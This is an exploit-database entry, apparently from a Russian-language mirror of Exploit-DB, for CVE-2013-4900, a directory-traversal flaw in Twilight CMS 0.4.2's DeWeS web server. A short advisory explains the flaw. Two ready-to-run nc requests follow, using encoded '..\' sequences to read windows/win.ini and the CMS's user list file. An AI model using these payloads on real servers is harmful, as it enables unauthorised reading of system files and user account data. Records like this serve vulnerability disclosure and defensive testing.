Exploit Twilight CMS - DeWeS Web Server Directory Traversal

[Exploiter]

EDB-ID

38737

Проверка EDB

1. Пройдено

Автор

HIGH-TECH BRIDGE

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2013-4900

Дата публикации

2013-08-21

Twilight CMS - DeWeS Web Server Directory Traversal

source: https://www.securityfocus.com/bid/61906/info

Twilight CMS is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Twilight CMS 0.4.2 is vulnerable; other versions may also be affected. 

nc [www.example.com] 80 GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini HTTP/1.1

nc [www.example.com] 80 GET demosite/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/TwilightCMS/Sites/company_site/Data/user list.dat HTTP/1.1